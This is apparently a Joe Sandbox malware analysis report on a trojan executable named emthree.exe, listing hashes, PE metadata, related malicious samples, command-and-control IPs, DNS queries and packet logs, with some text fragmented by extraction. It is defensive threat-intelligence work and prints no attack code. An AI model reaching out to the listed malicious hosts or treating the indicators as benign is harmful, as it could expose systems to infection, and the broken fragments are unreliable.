000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.zhongyicts.com.cn emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

schemas.xmlsoap.org/ws/2005/05/identity/claims/name emthree.exe, 00000000.00000002
.239603549.0000000003530000.00
000004.00000001.sdmp

false high

www.sakkal.com emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation

Contacted IPs
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General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 323574

Start date: 27.11.2020

Start time: 06:35:16

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 6s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: emthree.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 26

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

23.27.109.19 unknown United States 18779 EGIHOSTINGUS true

184.154.50.243 unknown United States 32475 SINGLEHOP-LLCUS true

IP

192.168.2.1

Public

Private
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Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@7/1@4/3

EGA Information: Failed

HDC Information: Successful, ratio: 19.8% (good quality ratio 18%)
Quality average: 73.7%
Quality standard deviation: 30.5%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.exe

Warnings:
Exclude process from analysis (whitelisted): 
MpCmdRun.exe, audiodg.exe, 
BackgroundTransferHost.exe, 
backgroundTaskHost.exe, SgrmBroker.exe, 
conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 
168.61.161.212, 51.104.139.180, 2.20.84.85, 
52.155.217.156, 20.54.26.129, 40.67.254.36, 
2.20.142.209, 2.20.142.210, 92.122.213.247, 
92.122.213.194, 204.79.197.200, 13.107.21.200
Excluded domains from analysis (whitelisted): 
au.download.windowsupdate.com.edgesuite.net, 
arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, wns.notify.windows.com.akadns.net, 
a1449.dscg2.akamai.net, arc.msn.com, 
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, par02p.wns.notify.windows.com.akadns.net, 
db5p.wns.notify.windows.com.akadns.net, 
emea1.notify.windows.com.akadns.net, 
audownload.windowsupdate.nsatc.net, www-bing-
com.dual-a-0001.a-msedge.net, 
displaycatalog.mp.microsoft.com, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com, 
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net, 
client.wns.windows.com, fs.microsoft.com, dual-a-
0001.a-msedge.net, 
displaycatalog.md.mp.microsoft.com.akadns.net, 
ris-prod.trafficmanager.net, 
skypedataprdcolcus17.cloudapp.net, 
e1723.g.akamaiedge.net, 
ctldl.windowsupdate.com, a767.dscg3.akamai.net, 
ris.api.iris.microsoft.com, a-0001.a-
afdentry.net.trafficmanager.net, 
blobcollector.events.data.trafficmanager.net
Report size getting too big, too many 
NtAllocateVirtualMemory calls found.
VT rate limit hit for:  
/opt/package/joesandbox/database/analysis/32357
4/sample/emthree.exe

Time Type Description

06:36:09 API Interceptor 15x Sleep call for process: emthree.exe modified

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context
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No context

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

SINGLEHOP-LLCUS document-1514127389.xls Get hash malicious Browse 67.212.179.162

document-1514127389.xls Get hash malicious Browse 67.212.179.162

document-1561665791.xls Get hash malicious Browse 67.212.179.162

document-1597193979.xls Get hash malicious Browse 67.212.179.162

document-1561665791.xls Get hash malicious Browse 67.212.179.162

document-1502756172.xls Get hash malicious Browse 67.212.179.162

document-1502756172.xls Get hash malicious Browse 67.212.179.162

document-1593420450.xls Get hash malicious Browse 67.212.179.162

document-1526904949.xls Get hash malicious Browse 67.212.179.162

document-1593420450.xls Get hash malicious Browse 67.212.179.162

document-1526904949.xls Get hash malicious Browse 67.212.179.162

document-1560775643.xls Get hash malicious Browse 67.212.179.162

document-1560775643.xls Get hash malicious Browse 67.212.179.162

document-162270445.xls Get hash malicious Browse 67.212.179.162

document-162270445.xls Get hash malicious Browse 67.212.179.162

document-1490556011.xls Get hash malicious Browse 67.212.179.162

document-1490556011.xls Get hash malicious Browse 67.212.179.162

document-1469700244.xls Get hash malicious Browse 67.212.179.162

document-1469700244.xls Get hash malicious Browse 67.212.179.162

document-1511476.xls Get hash malicious Browse 67.212.179.162

EGIHOSTINGUS PI202009255687.xlsx Get hash malicious Browse 104.164.99.242

VOMAXTRADING.doc Get hash malicious Browse 50.117.11.156

inv.exe Get hash malicious Browse 104.164.35.80

2020112395387_pdf.exe Get hash malicious Browse 104.164.99.242

EME_PO.39134.xlsx Get hash malicious Browse 104.164.26.233

new quotation order.exe Get hash malicious Browse 104.252.31.62

POGWEAP.xlsx Get hash malicious Browse 172.120.44.167

oqTdpbN5rF.exe Get hash malicious Browse 104.252.192.7

Purchase Order 40,7045$.exe Get hash malicious Browse 104.253.79.71

Payment Advice - Advice Ref GLV823990339.exe Get hash malicious Browse 104.164.52.200

INQUIRY.exe Get hash malicious Browse 45.39.88.85

Invoice.exe Get hash malicious Browse 45.39.153.189

new file.exe.exe Get hash malicious Browse 136.0.180.203

hjKM0s7CWW.exe Get hash malicious Browse 172.121.57.222

9Ul8m9FQ47.exe Get hash malicious Browse 107.164.194.74

n4uladudJS.exe Get hash malicious Browse 107.164.194.74

qkN4OZWFG6.exe Get hash malicious Browse 50.117.84.157

kvdYhqN3Nh.exe Get hash malicious Browse 50.117.84.157

NzI1oP5E74.exe Get hash malicious Browse 172.121.57.222

jtFF5EQoEE.exe Get hash malicious Browse 142.252.13
5.158

No context

No context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/241869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241869/html/none?idtype=webid
https://view.joesandbox.com/analysis/241865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241865/html/none?idtype=webid
https://view.joesandbox.com/analysis/241705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241705/html/none?idtype=webid
https://view.joesandbox.com/analysis/241703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241703/html/none?idtype=webid
https://view.joesandbox.com/analysis/241702/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241702/html/none?idtype=webid
https://view.joesandbox.com/analysis/241699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241699/html/none?idtype=webid
https://view.joesandbox.com/analysis/241696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241696/html/none?idtype=webid
https://view.joesandbox.com/analysis/241692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241692/html/none?idtype=webid
https://view.joesandbox.com/analysis/241690/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241690/html/none?idtype=webid
https://view.joesandbox.com/analysis/241689/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241689/html/none?idtype=webid
https://view.joesandbox.com/analysis/241687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241687/html/none?idtype=webid
https://view.joesandbox.com/analysis/241676/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241676/html/none?idtype=webid
https://view.joesandbox.com/analysis/241673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241673/html/none?idtype=webid
https://view.joesandbox.com/analysis/241670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241670/html/none?idtype=webid
https://view.joesandbox.com/analysis/241667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241667/html/none?idtype=webid
https://view.joesandbox.com/analysis/241657/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241657/html/none?idtype=webid
https://view.joesandbox.com/analysis/241654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241654/html/none?idtype=webid
https://view.joesandbox.com/analysis/241621/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241621/html/none?idtype=webid
https://view.joesandbox.com/analysis/241618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241618/html/none?idtype=webid
https://view.joesandbox.com/analysis/241606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241606/html/none?idtype=webid
https://view.joesandbox.com/analysis/241078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241078/html/none?idtype=webid
https://view.joesandbox.com/analysis/241074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241074/html/none?idtype=webid
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid
https://view.joesandbox.com/analysis/241046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241046/html/none?idtype=webid
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240242/html/none?idtype=webid
https://view.joesandbox.com/analysis/240069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240069/html/none?idtype=webid
https://view.joesandbox.com/analysis/239444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239444/html/none?idtype=webid
https://view.joesandbox.com/analysis/239435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239435/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.696882160461213

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.83%
Win32 Executable (generic) a (10002005/4) 
49.78%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Generic Win/DOS Executable (2004/3) 0.01%
DOS Executable Generic (2002/1) 0.01%

File name: emthree.exe

File size: 459776

MD5: 25b5788669a3a8f35596ce975f0823a7

SHA1: 77e07883f131f342e3d24954ea348d25554440a1

SHA256: f3024d8a77f7d80b8e1f44a868913ad76e926d5add36cdc
27332c42c3cc012a3

SHA512: 53f7273b1d20ec613cb1bcb0c4a30272c90f8585515be01
3f52be236e9cccc4457b2fab52b9649092807f4de9ab9da
21a11d63897c0ed8e9fff02eebefaf1f03

SSDEEP: 12288:YK8UvYOUgUihAbxk6nVTBWOfK/Kl3+XXt8LF:
YK8Uv2dbvT0OfKClid8

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L....f
................0.............f.... ... ....@.. .......................`............
@................................

File Icon

Icon Hash: 00828e8e8686b000

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\emthree.exe.log

Process: C:\Users\user\Desktop\emthree.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1301

Entropy (8bit): 5.345637324625647

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4VE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz5

MD5: 6C42AAF2F2FABAD2BAB70543AE48CEDB

SHA1: 8552031F83C078FE1C035191A32BA43261A63DA9

SHA-256: 51D07DD061EA9665DA070B95A4AC2AC17E20524E30BF6A0DA8381C2AF29CA967

SHA-512: 014E89857B811765EA7AA0B030AB04A2DA1957571608C4512EC7662F6A4DCE8B0409626624DABC96CBFF079E7F0F4A916E6F49C789E00B6E46AD37C36C806DCA

Malicious: true

Reputation: moderate, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

General
Entrypoint: 0x471966

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Static PE Info
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Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0xCD1766EF [Fri Jan 13 19:15:59 2079 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

General

Instruction

jmp dword ptr [00402000h]

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Entrypoint Preview
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add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x71914 0x4f .text

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x72000 0x594 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x74000 0xc .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0x718f8 0x1c .text

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

Data Directories
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Network Port Distribution

Total Packets: 43

• 53 (DNS)

• 80 (HTTP)

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2000 0x8 .text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x2008 0x48 .text

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Is in Section

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x6f96c 0x6fa00 False 0.841486299692 data 7.70662287757 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x72000 0x594 0x600 False 0.415364583333 data 4.06023267139 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x74000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_VERSION 0x72090 0x304 data

RT_MANIFEST 0x723a4 0x1ea XML 1.0 document, UTF-8 Unicode (with BOM) text, with 
CRLF line terminators

DLL Import

mscoree.dll _CorExeMain

Description Data

Translation 0x0000 0x04b0

LegalCopyright Copyright   2019

Assembly Version 1.0.0.0

InternalName .exe

FileVersion 1.0.0.0

CompanyName

LegalTrademarks

Comments

ProductName Monopoly

ProductVersion 1.0.0.0

FileDescription Monopoly

OriginalFilename .exe

Network Behavior

Sections

Resources

Imports

Version Infos
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 27, 2020 06:37:46.503295898 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:46.628735065 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:46.628865004 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:46.629072905 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:46.754323959 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:47.128029108 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:47.292691946 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.018973112 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019009113 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019030094 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019047976 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019066095 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019074917 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019092083 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019104004 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019130945 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019155025 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019174099 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019191980 CET 80 49746 184.154.50.243 192.168.2.5

Nov 27, 2020 06:37:48.019215107 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019238949 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019243002 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019247055 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:37:48.019258976 CET 49746 80 192.168.2.5 184.154.50.243

Nov 27, 2020 06:38:07.723004103 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:07.894550085 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:07.894740105 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:07.894825935 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:08.068506002 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:08.068561077 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:08.068598032 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:08.068630934 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:08.068656921 CET 80 49747 23.27.109.19 192.168.2.5

Nov 27, 2020 06:38:08.068849087 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:08.068891048 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:08.068949938 CET 49747 80 192.168.2.5 23.27.109.19

Nov 27, 2020 06:38:08.068964958 CET 49747 80 192.168.2.5 23.27.109.19

Timestamp Source Port Dest Port Source IP Dest IP

Nov 27, 2020 06:35:59.423458099 CET 54757 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:35:59.450866938 CET 53 54757 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:00.254846096 CET 49992 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:00.282181025 CET 53 49992 8.8.8.8 192.168.2.5

TCP Packets

UDP Packets
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Nov 27, 2020 06:36:22.684704065 CET 60075 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:22.711971998 CET 53 60075 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:23.952682018 CET 55016 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:23.997966051 CET 53 55016 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:44.839894056 CET 64345 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:44.875737906 CET 53 64345 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:45.319561005 CET 57128 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:45.355184078 CET 53 57128 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:45.782104969 CET 54791 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:45.809331894 CET 53 54791 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:46.375197887 CET 50463 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:46.410703897 CET 53 50463 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:46.524899006 CET 50394 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:46.562680960 CET 53 50394 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:46.857793093 CET 58530 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:46.893222094 CET 53 58530 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:47.262835979 CET 53813 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:47.298357010 CET 53 53813 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:47.721534014 CET 63732 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:47.759166002 CET 53 63732 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:48.233823061 CET 57344 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:48.270900011 CET 53 57344 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:48.312632084 CET 54450 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:48.349679947 CET 53 54450 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:48.373967886 CET 59261 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:48.409102917 CET 53 59261 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:49.397313118 CET 57151 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:49.432845116 CET 53 57151 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:49.880383968 CET 59413 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:49.907641888 CET 53 59413 8.8.8.8 192.168.2.5

Nov 27, 2020 06:36:53.477510929 CET 60516 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:36:53.519870996 CET 53 60516 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:04.756514072 CET 51649 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:05.704509974 CET 53 51649 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:22.738609076 CET 65086 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:22.765702009 CET 53 65086 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:23.996509075 CET 56432 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:24.023689032 CET 53 56432 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:25.893688917 CET 52929 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:25.942146063 CET 53 52929 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:26.103823900 CET 64317 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:26.162023067 CET 53 64317 8.8.8.8 192.168.2.5

Nov 27, 2020 06:37:46.346628904 CET 61004 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:37:46.497160912 CET 53 61004 8.8.8.8 192.168.2.5

Nov 27, 2020 06:38:07.318126917 CET 56895 53 192.168.2.5 8.8.8.8

Nov 27, 2020 06:38:07.721736908 CET 53 56895 8.8.8.8 192.168.2.5

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 27, 2020 06:37:04.756514072 CET 192.168.2.5 8.8.8.8 0x7fe5 Standard query 
(0)

www.asojeb
u.com

A (IP address) IN (0x0001)

Nov 27, 2020 06:37:26.103823900 CET 192.168.2.5 8.8.8.8 0x74c Standard query 
(0)

www.haircu
ressteampod.com

A (IP address) IN (0x0001)

Nov 27, 2020 06:37:46.346628904 CET 192.168.2.5 8.8.8.8 0xe6ba Standard query 
(0)

www.pornca
mslivechat.com

A (IP address) IN (0x0001)

Nov 27, 2020 06:38:07.318126917 CET 192.168.2.5 8.8.8.8 0x5dad Standard query 
(0)

www.amaril
loautoexpr
ess.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 27, 2020 
06:37:05.704509974 
CET

8.8.8.8 192.168.2.5 0x7fe5 Name error (3) www.asojeb
u.com

none none A (IP address) IN (0x0001)

DNS Queries

DNS Answers
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Nov 27, 2020 
06:37:26.162023067 
CET

8.8.8.8 192.168.2.5 0x74c Name error (3) www.haircu
ressteampo
d.com

none none A (IP address) IN (0x0001)

Nov 27, 2020 
06:37:46.497160912 
CET

8.8.8.8 192.168.2.5 0xe6ba No error (0) www.pornca
mslivechat.com

